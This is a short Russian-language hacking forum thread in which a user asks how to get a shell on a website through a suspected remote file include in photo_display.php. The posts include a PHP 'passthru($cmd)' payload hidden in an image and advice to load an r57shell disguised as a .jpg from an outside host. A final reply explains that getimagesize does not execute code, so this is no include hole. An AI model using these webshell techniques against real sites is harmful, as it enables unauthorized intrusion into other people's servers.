Есть сайт: http://www.site.com/includes/photo_display.php?photo=http Вылетает ошибка: ------------------------------------------------------ Warning: getimagesize(http) [function.getimagesize]: failed to open stream: No such file or directory in /путь/includes/photo_display.php on line 8 ------------------------------------------------------ Вроде как инклуд. Пытаюсь проклудть - не получается. Но когда загужаю картинку(jpg,gif): http://www.site.com/includes/photo_display.php?photo=http://site.narod.ru/ris.jpg - появляется картинка. Пробовал добавить дебагером в картинку <? passthru($cmd); ?> - шелл получить не получается. Что делать? Как получить шелл?
хз =). попробуй пихнуть шелл примерно так PHP: Http://www.site.com/includes/photo_display.php?photo=http://site.narod.ru/r57shell.php.jpg - думаю понятно, открываешь картинку и туда код php в осле и опере пробуй этот метод. отпишись как прошло помоему тут все просто
getimagesize, function.getimagesize эти слова должны натолкнуть вас, что инклуд пишется по другому... не верите??? просто проверьте. Даже из названия можно понять что эта функция возвращает не исполненный удаленный код, а размеры удаленной (можно и локальной) картинки... это все. не каждая ошибка в пхп класса Warning является инклудом